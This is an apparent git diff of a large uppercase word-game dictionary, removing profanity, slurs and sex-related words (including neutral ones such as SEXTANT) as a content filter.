COCINERAS
COCK
COCKADE
COCKADED
COCKADES
@@ -61435,16 +61421,6 @@ FUCHSINE
FUCHSINES
FUCHSINS
FUCI
FUCK
FUCKED
FUCKER
FUCKERS
FUCKING
FUCKOFF
FUCKOFFS
FUCKS
FUCKUP
FUCKUPS
FUCOID
FUCOIDAL
FUCOIDS
@@ -72658,8 +72634,6 @@ HORSERACES
HORSERADISH
HORSERADISHES
HORSES
HORSESHIT
HORSESHITS
HORSESHOD
HORSESHOE
HORSESHOED
@@ -81693,7 +81667,6 @@ JETWAY
JETWAYS
JEU
JEUX
JEW
JEWED
JEWEL
JEWELED
@@ -81717,7 +81690,6 @@ JEWELWEEDS
JEWFISH
JEWFISHES
JEWING
JEWS
JEZAIL
JEZAILS
JEZEBEL
@@ -95915,7 +95887,6 @@ MISOGYNIES
MISOGYNIST
MISOGYNISTIC
MISOGYNISTS
MISOGYNY
MISOLOGIES
MISOLOGY
MISONEISM
@@ -102548,8 +102519,6 @@ NONHISTORICAL
NONHOME
NONHOMOGENEOUS
NONHOMOLOGOUS
NONHOMOSEXUAL
NONHOMOSEXUALS
NONHORMONAL
NONHOSPITAL
NONHOSPITALIZED
@@ -103092,8 +103061,6 @@ NONSEQUENTIAL
NONSERIAL
NONSERIALS
NONSERIOUS
NONSEXIST
NONSEXUAL
NONSHRINK
NONSHRINKABLE
NONSIGNER
@@ -109502,7 +109469,6 @@ OVERSEWED
OVERSEWING
OVERSEWN
OVERSEWS
OVERSEXED
OVERSHADE
OVERSHADED
OVERSHADES
@@ -111042,10 +111008,6 @@ PANORAMICALLY
PANPIPE
PANPIPES
PANS
PANSEXUAL
PANSEXUALITIES
PANSEXUALITY
PANSEXUALS
PANSIES
PANSOPHIC
PANSOPHIES
@@ -111508,9 +111470,6 @@ PARASAILINGS
PARASAILS
PARASANG
PARASANGS
PARASEXUAL
PARASEXUALITIES
PARASEXUALITY
PARASHAH
PARASHAHS
PARASHIOTH
@@ -113331,8 +113290,6 @@ PENILE
PENINSULA
PENINSULAR
PENINSULAS
PENIS
PENISES
PENITENCE
PENITENCES
PENITENT
@@ -124041,9 +123998,6 @@ PSYCHOPHYSICIST
PSYCHOPHYSICS
PSYCHOS
PSYCHOSES
PSYCHOSEXUAL
PSYCHOSEXUALITY
PSYCHOSEXUALLY
PSYCHOSIS
PSYCHOSOCIAL
PSYCHOSOCIALLY
@@ -141644,84 +141598,6 @@ SEWING
SEWINGS
SEWN
SEWS
SEX
SEXAGENARIAN
SEXAGENARIANS
SEXAGESIMAL
SEXAGESIMALS
SEXDECILLION
SEXDECILLIONS
SEXED
SEXENNIAL
SEXENNIALS
SEXES
SEXIER
SEXIEST
SEXILY
SEXINESS
SEXINESSES
SEXING
SEXISM
SEXISMS
SEXIST
SEXISTS
SEXLESS
SEXLESSLY
SEXLESSNESS
SEXLESSNESSES
SEXOLOGIC
SEXOLOGIES
SEXOLOGIST
SEXOLOGISTS
SEXOLOGY
SEXPLOITATION
SEXPLOITATIONS
SEXPOT
SEXPOTS
SEXT
SEXTAIN
SEXTAINS
SEXTAN
SEXTANS
SEXTANT
SEXTANTS
SEXTARII
SEXTARIUS
SEXTET
SEXTETS
SEXTETTE
SEXTETTES
SEXTILE
SEXTILES
SEXTILLION
SEXTILLIONS
SEXTO
SEXTODECIMO
SEXTODECIMOS
SEXTON
SEXTONS
SEXTOS
SEXTS
SEXTUPLE
SEXTUPLED
SEXTUPLES
SEXTUPLET
SEXTUPLETS
SEXTUPLICATE
SEXTUPLICATED
SEXTUPLICATES
SEXTUPLICATING
SEXTUPLING
SEXTUPLY
SEXUAL
SEXUALITIES
SEXUALITY
SEXUALIZE
SEXUALIZED
SEXUALIZES
SEXUALIZING
SEXUALLY
SEXY
SFERICS
SFORZANDI
SFORZANDO
@@ -142641,29 +142517,6 @@ SHIRTWAISTS
SHIRTY
SHIST
SHISTS
SHIT
SHITAKE
SHITAKES
SHITFACED
SHITHEAD
SHITHEADS
SHITLESS
SHITLIST
SHITLISTS
SHITLOAD
SHITLOADS
SHITS
SHITTAH
SHITTAHS
SHITTED
SHITTIER
SHITTIEST
SHITTIM
SHITTIMS
SHITTIMWOOD
SHITTIMWOODS
SHITTING
SHITTY
SHIV
SHIVA
SHIVAH
Loaded 100 of 146 files, more files were not shown because too many files have changed in this diff. Show more